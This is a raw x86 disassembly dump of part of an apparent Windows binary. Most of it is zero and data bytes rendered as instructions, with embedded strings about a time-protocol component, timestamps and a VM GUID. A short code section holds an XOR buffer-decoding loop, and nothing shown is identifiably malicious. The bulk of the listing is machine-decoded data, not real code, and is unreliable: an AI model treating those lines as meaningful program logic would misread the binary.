add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
cmpsb byte [esi], byte es:[edi]
arpl word [ecx], bp
dec ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov dword [ebp - 0x6c], 0
jmp 0x404928
mov edx, dword [ebp - 0x6c]
add edx, 1
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x6c]
cmp eax, dword [0x6130a0]
jge 0x404974
mov ecx, dword [ebp - 0x6c]
movsx ebx, byte [ecx + 0x61306c]
mov edx, dword [ebp - 0x64]
push edx
lea ecx, [ebp - 0x40]
call fcn.00411690
movzx eax, word [eax]
xor ebx, eax
mov ecx, dword [ebp - 0x6c]
mov byte [ecx + 0x61306c], bl
mov edx, dword [ebp - 0x64]
add edx, 1
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x84]
jl 0x404972
mov dword [ebp - 0x64], 0
jmp 0x40491f
movzx ecx, byte [0x614e6c]
test ecx, ecx
je 0x40525c
das
add eax, dword [eax]
dec eax
mov ecx, ebx
call fcn.00437bd3
nop
dec eax
lea ecx, [esp + 0x68]
call fcn.00437973
dec eax
mov eax, ebx
dec eax
mov ebx, dword [esp + 0x78]
dec eax
add esp, 0x40
pop edi
pop esi
pop ebp
ret
call 0x401260
push 0xc
call fcn.0041594a
add esp, 4
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
je 0x40529d
xor edx, edx
mov eax, dword [ebp - 0x88]
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
mov ecx, dword [ebp - 0x88]
call fcn.00411590
mov dword [ebp - 0x90], eax
jmp 0x4052a7
mov dword [ebp - 0x90], 0
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x80], ecx
push 0x61306c
mov ecx, dword [ebp - 0x80]
call fcn.00401280
movzx edx, byte [0x614e6c]
test edx, edx
je 0x4065b8
add byte [eax], al
add byte [edx], ch
mov bh, 0
add byte [eax], al
add byte [eax], al
add byte [esi], bl
mov bh, 0
add byte [eax], al
add byte [eax], al
add byte [edi + esi*4], dl
add byte [eax], al
add byte [eax], al
add byte [eax], al
or byte [edi], dh
add byte [eax], al
cli
mov dh, 0
add byte [eax], al
add byte [eax], al
add al, dh
mov dh, 0
add byte [eax], al
add byte [eax], al
add al, ch
mov dh, 0
add byte [eax], al
add byte [eax], al
add ah, bl
mov dh, 0
add byte [eax], al
add byte [eax], al
add ah, dl
mov dh, 0
add byte [eax], al
add byte [eax], al
add dh, al
mov dh, 0
add byte [eax], al
add byte [eax], al
add byte [esi + 0xb6], dh
add byte [eax], al
add byte [esi + esi*4], ch
add byte [eax], al
mov byte [0xb6], al
add byte [eax], al
add byte [eax + 0xb6], bl
add byte [eax], al
add byte [esi + 0xb6], cl
add byte [eax], al
add byte [esi - 0x4a], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
pushal
mov dh, 0
add byte [eax], al
add byte [eax], al
add byte [eax - 0x4a], bl
add byte [eax], al
add byte [eax], al
add byte [eax], al
dec edx
mov dh, 0
add byte [eax], al
add byte [eax], al
add byte [eax - 0x4a], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub byte [esi], dh
add byte [eax], al
sbb dh, byte [esi]
add byte [eax], al
push cs
mov dh, 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov dh, 0
add byte [eax], al
add byte [eax], al
add ah, dh
mov ch, 0
add byte [eax], al
add byte [eax], al
add dl, ch
mov ch, 0
add byte [eax], al
add byte [eax], al
add dl, ah
mov ch, 0
add byte [eax], al
add byte [eax], al
add dl, al
mov ch, 0
add byte [eax], al
add byte [eax], al
add byte [edx + 0xb5], ch
add byte [eax], al
add byte [esi + 0xbb], al
add byte [eax], al
add byte [edx + 0xbb], dl
add byte [eax], al
add byte [edx + 0xbb], ah
add byte [eax], al
add al, al
mov ebx, 0
add byte [eax], al
into
mov ebx, 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, 0xa3
add byte [eax + 1], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc byte [ebp], bh
add byte [ecx], 0
add byte [eax], al
add byte [eax + 1], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov eax, dword [0x4ce79b]
add byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [0x18000000], ch
aas
add byte [eax], al
sbb byte [ebx], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
aam 0x75
add byte [eax + 1], al
mov esp, 0x1800075
add byte [eax], al
add byte [eax + 0x79], dl
add byte [eax + 1], al
and al, byte [0x11993]
add byte [eax], al
je 0x405409
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add eax, dword [eax]
add byte [eax], al
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
add byte [eax], al
and byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
and al, byte [0x11993]
add byte [eax], al
je 0x405431
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add eax, dword [eax]
add byte [eax], al
shl byte [eax + eax + 0x2000], 1
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add ah, dl
jne 0x4054aa
add byte [eax], al
and byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
aam 0x75
add byte [eax + 1], al
add byte [ecx], 0
add byte [eax], al
mov esp, 0x1800075
add byte [eax], al
add al, al
jns 0x4054ba
add byte [ecx], 0
add byte [eax], al
and al, byte [0x11993]
add byte [eax], al
je 0x405471
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add eax, dword [eax]
add byte [eax], al
cld
movsb byte es:[edi], byte [esi]
add byte [eax], al
and byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
and al, byte [0x11993]
add byte [eax], al
je 0x405499
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add eax, dword [eax]
add byte [eax], al
sub byte [ebp + 0x200000], ah
add byte [eax], ch
movsd dword es:[edi], dword [esi]
add byte [eax], al
and byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
aam 0x75
add byte [eax + 1], al
mov esp, 0x1800075
add byte [eax], al
add ah, ch
jns 0x405522
add byte [ecx], 0
add byte [eax], al
and al, byte [0x11993]
add byte [eax], al
je 0x4054d9
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add eax, dword [eax]
add byte [eax], al
push esp
movsd dword es:[edi], dword [esi]
add byte [eax], al
and byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
and al, byte [0x11993]
add byte [eax], al
add byte [eax], al
add byte [ebx], al
add byte [eax], al
add byte [ebp], dl
add byte [eax], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx], ah
add eax, 0x11993
add byte [eax], al
jl 0x4054fe
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, byte [eax]
add byte [eax], al
test byte [ebp + 0x200000], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
jae 0x4055ed
jb 0x4055e4
outsb dx, byte [esi]
and byte [si + 0x6f], dh
outsd dx, dword [esi]
and byte [edi + ebp*2 + 0x6e], ch
add byte [bp + si], ah
add eax, 0x11993
add byte [eax], al
jl 0x405536
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, byte [eax]
add byte [eax], al
movsb byte es:[edi], byte [esi]
movsd dword es:[edi], dword [esi]
add byte [eax], al
and byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [ebx + 0x74], dh
jb 0x405624
outsb dx, byte [esi]
and byte [bx + si + 0x6f], dh
jae 0x40562b
je 0x40562d
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [edx], ah
add eax, 0x11993
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x1800082], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 0x18000], 0
add byte [edx], ah
add eax, 0x21993
add byte [eax], al
and al, 0xa7
add byte [eax], al
add dword [eax], eax
add byte [eax], al
cld
cmpsb byte [esi], byte es:[edi]
add byte [eax], al
push es
add byte [eax], al
add byte [edi], dh
add byte [eax], al
and byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
dec ecx
outsb dx, byte [esi]
add byte [eax], al
add byte [ecx + 0x6e], cl
jbe 0x40568c
insb byte es:[edi], dx
imul esp, dword [eax + 0x70], 0x6d617261
and byte fs:[eax + 0x61], dh
jb 0x405694
insd dword es:[edi], dx
je 0x40569c
jb 0x405659
jo 0x40569c
jae 0x4056b0
and byte fs:[edi + ebp*2 + 0x20], dh
inc ebx
and byte [edx + 0x75], dh
outsb dx, byte [esi]
je 0x4056b3
insd dword es:[edi], dx
and byte gs:[esi + 0x75], ah
outsb dx, byte [esi]
arpl word [ecx + ebp*2 + 0x6f], si
outsb dx, byte [esi]
or al, byte cs:[eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], ah
mov dword [eax], 0x180
add al, al
mov dword [eax], 0x180
add byte [eax], ch
add byte [esi], ch
jne 0x405675
add byte [eax], al
add byte [eax], al
add byte [eax], al
and bh, al
add byte [eax + 1], al
rol bh, 0
add byte [ecx], 0
add byte [eax], al
sub byte [eax], al
outsb dx, byte [esi]
add byte [ebp], dh
insb byte es:[edi], dx
add byte [eax + eax + 0x29], ch
add byte [eax], al
add byte [eax], al
add byte [eax], ch
outsb dx, byte [esi]
jne 0x4056ef
insb byte es:[edi], dx
sub dword [eax], eax
add byte [esi], al
add byte [eax - 0x7f7e7f7a], 0
add byte [eax], dl
add eax, dword [esi - 0x7f7d7980]
adc al, 5
add eax, 0x85454545
add dword [eax + 0x3100000], 0x82868086
adc byte [eax + 0x45454505], 0x85
xchg byte [edx + 0x5051480], al
inc ebp
inc ebp
inc ebp
test dword [ebp + 0x585], eax
xor byte [eax], dh
adc byte [eax - 0x80], 0x80
add byte [eax], cl
add byte [eax], ch
daa
test dword [ebp + 0x30000005], eax
xor byte [eax + 0x808050], al
or byte [eax], al
sub byte [edi], ah
cmp byte [eax + 0x57], dl
push edi
add byte [eax], 7
pop es
add byte [edi], dh
xor byte [eax], dh
push eax
push eax
mov byte [eax], al
add byte [eax], al
and byte [eax], ch
or byte [eax + 0x8080], 0
pushal
pushal
pushal
push 0x8086868
pop es
js 0x405742
jo 0x40574b
jo 0x405746
or byte [eax], cl
add byte [eax], al
or byte [eax], al
or byte [eax], al
pop es
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
bound esp, qword [ecx + 0x64]
and byte [ecx + 0x6c], ah
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ecx + 0x74], sp
imul ebp, dword [edi + 0x6e], 0x3a640000
pop esp
ja 0x405733
jb 0x405772
insd dword es:[edi], dx
pop esp
jbe 0x40576f
pop esp
arpl word [edi + 0x6d], bp
insd dword es:[edi], dx
outsd dx, dword [esi]
outsb dx, byte [esi]
pop esp
jbe 0x405779
insb byte es:[edi], dx
pop esp
imul ebp, dword [esi + 0x63], 0x676d765c
jne 0x405780
push 0
add byte [esi + 0x6d], dl
insb byte es:[edi], dx
cmp bh, byte [edx]
push esi
insd dword es:[edi], dx
inc edi
jne 0x405792
cmp bh, byte fs:[edx]
inc ecx
jae 0x4057a2
imul esp, dword [edi + 0x6e], 0x2d00
add byte [eax], al
sub eax, 0
push cs
add byte [ecx], dl
add al, 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 1], al
push cs
add byte [eax], al
add byte [eax], al
inc eax
add dword [esi], ecx
add byte [ecx], dl
add eax, dword [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 2], al
push cs
add byte [ecx], dl
add al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 3], al
push cs
add byte [ecx], dl
add dword [eax], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x4d], al
add byte [eax], al
add byte [eax], al
inc eax
dec ebp
add byte [ecx], ch
arpl word [eax], ax
jb 0x40577f
imul eax, dword [eax], 0x720063
outsd dx, dword [esi]
add byte [ebx], dh
outsd dx, dword [esi]
add byte [esi], ah
je 0x405789
sub eax, 0x69005700
add byte [esi], ch
add byte fs:[edi], ch
add byte [edi], ch
ja 0x405797
jae 0x405799
sub eax, 0x69005600
add byte [edx], dh
je 0x4057a3
add byte [ebp], dh
jne 0x4057a5
popal
add byte [eax + eax + 0x69], ch
add byte [edx], bh
popal
add byte [eax + eax + 0x69], dh
add byte [edi], ch
outsb dx, byte [esi]
add byte [0x6e004900], ch
add byte [eax + eax + 0x65], dh
add byte [edi], ah
jb 0x4057c5
popal
add byte [eax + eax + 0x69], dh
add byte [edi], ch
outsb dx, byte [esi]
add byte [0x69005400], ch
add byte [ebp], ch
add byte gs:[ebx], dl
jns 0x4057dd
outsb dx, byte [esi]
add byte [ebx], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], dh
add byte [0x64003200], dh
add byte [ebx], ah
xor dword [eax], eax
xor al, 0
sub eax, 0x33006100
add byte [ecx], ah
xor byte [eax], al
sub eax, 0x32003400
add byte [0x2d003800], dh
add byte [edx], ah
add byte gs:[ebx], ah
add byte gs:[0x39003600], ch
add byte [ecx], ah
xor eax, dword [eax]
add byte gs:[ebp], ah
xor al, 0
arpl word [eax], ax
xor al, byte [eax]
add byte fs:[ebp], ah
cmp byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebx
add byte [eax + eax + 0x69], dl
add byte [ebp], ch
add byte gs:[eax], dl
jb 0x405845
outsd dx, dword [esi]
add byte [esi], dh
inc ebx
add byte [eax + eax + 0x6f], ch
add byte [ebx], dh
add byte gs:[ebp], bl
and byte [eax], al
inc ebp
add byte [esi], ch
je 0x40585d
add byte gs:[edx], dh
or al, byte [eax]
add byte [eax], al
add byte [eax], al
pop ebx
add byte [eax + eax + 0x69], dl
add byte [ebp], ch
add byte gs:[eax], dl
jb 0x405875
outsd dx, dword [esi]
add byte [esi], dh
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ch
popal
add byte [esi], ch
add byte fs:[ebp], bl
and byte [eax], al
inc ebp
add byte [esi], ch
je 0x405891
add byte gs:[edx], dh
or al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebx
add byte [eax + eax + 0x69], dl
add byte [ebp], ch
add byte gs:[eax], dl
jb 0x4058b5
outsd dx, dword [esi]
add byte [esi], dh
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ch
popal
add byte [esi], ch
add byte fs:[ebp], bl
and byte [eax], al
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
and byte [eax], al
jo 0x4058d7
jb 0x4058d9
outsd dx, dword [esi]
add byte [esi], dh
imul eax, dword [eax], 0x650064
jb 0x4058e5
and byte [eax], al
arpl word [eax], ax
outsd dx, dword [esi]
add byte [ebp], ch
insd dword es:[edi], dx
add byte [ecx], ah
outsb dx, byte [esi]
add byte [eax + eax + 0x3a], ah
add byte [eax], ah
add byte [eax], dh
add byte [eax], bh
and eax, 0xa005800
add byte [eax], al
add byte [eax], al
add byte [ebx], bl
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ch
popal
add byte [esi], ch
add byte fs:[ebp], bl
and byte [eax], al
push esp
add byte [eax], dl
inc ebx
add byte [edi], bl
inc edi
add byte [ebp], ah
je 0x405939
push ebx
add byte [ecx], ah
insd dword es:[edi], dx
add byte [eax], dh
insb byte es:[edi], dx
add byte [ebp], ah
jae 0x405947
or al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebx
add byte [eax + eax + 0x69], dl
add byte [ebp], ch
add byte gs:[eax], dl
jb 0x405965
outsd dx, dword [esi]
add byte [esi], dh
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ch
popal
add byte [esi], ch
add byte fs:[ebp], bl
and byte [eax], al
dec esi
add byte [ebp], dl
dec esp
add byte [eax + eax + 0x20], cl
add byte [edi], ch
jb 0x405989
and byte [eax], al
imul eax, dword [eax], 0x73006e
jne 0x405993
add byte [esi], ah
imul eax, dword [eax], 0x690063
add byte gs:[esi], ch
je 0x4059a3
and byte [eax], al
bound eax, qword [eax]
jne 0x4059a9
add byte [esi], ah
add byte gs:[edx], dh
and byte [eax], al
imul eax, dword [eax], 0x20006e
arpl word [eax], ax
popal
add byte [eax + eax + 0x6c], ch
add byte [eax], ah
add byte [eax + eax + 0x6f], dh
add byte [eax], ah
add byte [eax + eax + 0x50], dl
add byte [ebx], al
pop edi
add byte [edi], al
add byte gs:[eax + eax + 0x53], dh
add byte [ecx], ah
insd dword es:[edi], dx
add byte [eax], dh
insb byte es:[edi], dx
add byte [ebp], ah
jae 0x4059e5
or al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebx
add byte [eax + eax + 0x69], dl
add byte [ebp], ch
add byte gs:[eax], dl
jb 0x405a05
outsd dx, dword [esi]
add byte [esi], dh
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ch
popal
add byte [esi], ch
add byte fs:[ebp], bl
and byte [eax], al
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
imul eax, dword [eax], 0x690064
outsb dx, byte [esi]
add byte [edi], ah
and byte [eax], al
jae 0x405a31
popal
add byte [ebp], ch
jo 0x405a37
insb byte es:[edi], dx
add byte [ebp], ah
or al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebx
add byte [eax + eax + 0x69], dl
add byte [ebp], ch
add byte gs:[eax], dl
jb 0x405a55
outsd dx, dword [esi]
add byte [esi], dh
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ch
popal
add byte [esi], ch
add byte fs:[ebp], bl
and byte [eax], al
dec esi
add byte [edi], ch
and byte [eax], al
jae 0x405a73
popal
add byte [ebp], ch
jo 0x405a79
insb byte es:[edi], dx
add byte [ebp], ah
jae 0x405a7f
and byte [eax], al
popal
add byte [esi], dh
popal
add byte [ecx], ch
insb byte es:[edi], dx
add byte [ecx], ah
bound eax, qword [eax]
insb byte es:[edi], dx
add byte [ebp], ah
or al, byte [eax]
add byte [eax], al
pop ebx
add byte [eax + eax + 0x69], dl
add byte [ebp], ch
add byte gs:[eax], dl
jb 0x405aa5
outsd dx, dword [esi]
add byte [esi], dh
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ch
popal
add byte [esi], ch
add byte fs:[ebp], bl
and byte [eax], al
push ebx
add byte [ecx], ah
insd dword es:[edi], dx
add byte [eax], dh
insb byte es:[edi], dx
add byte [ebp], ah
and byte [eax], al
imul eax, dword [eax], 0x66006e
outsd dx, dword [esi]
add byte [ebx], bh
add byte [eax], ah
add byte [ebx], dl
imul eax, dword [eax], 0x65007a
cmp eax, 0x64002500
add byte [eax + eax], ch
and byte [eax], al
push ebx
add byte [ecx], ah
insd dword es:[edi], dx
add byte [eax], dh
insb byte es:[edi], dx
add byte [ebp], ah
jae 0x405af5
push edx
add byte [ebp], ah
je 0x405afb
jne 0x405afd
jb 0x405aff
outsb dx, byte [esi]
add byte [ebp], ah
add byte fs:[0x64002500], bh
add byte [eax + eax], ch
and byte [eax], al
push ebx
add byte [ecx], ah
insd dword es:[edi], dx
add byte [eax], dh
insb byte es:[edi], dx
add byte [ebp], ah
jae 0x405b1d
inc ecx
add byte [esi], dh
popal
add byte [ecx], ch
insb byte es:[edi], dx
add byte [ecx], ah
bound eax, qword [eax]
insb byte es:[edi], dx
add byte [ebp], ah
cmp eax, 0x64002500
add byte [edx], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], bl
push esp
add byte [ecx], ch
insd dword es:[edi], dx
add byte [ebp], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [esi], dh
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ch
popal
add byte [esi], ch
add byte fs:[ebp], bl
and byte [eax], al
push esp
add byte [eax], dl
inc ebx
add byte [edi], bl
push eax
add byte [edi], ch
insb byte es:[edi], dx
add byte [eax + eax + 0x49], ch
add byte [esi], ch
je 0x405b81
add byte gs:[edx], dh
jbe 0x405b87
popal
add byte [eax + eax + 0x43], ch
add byte [eax], ch
popal
add byte [esi], ch
add byte [di], ah
add byte fs:[edx], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], bl
push esp
add byte [ecx], ch
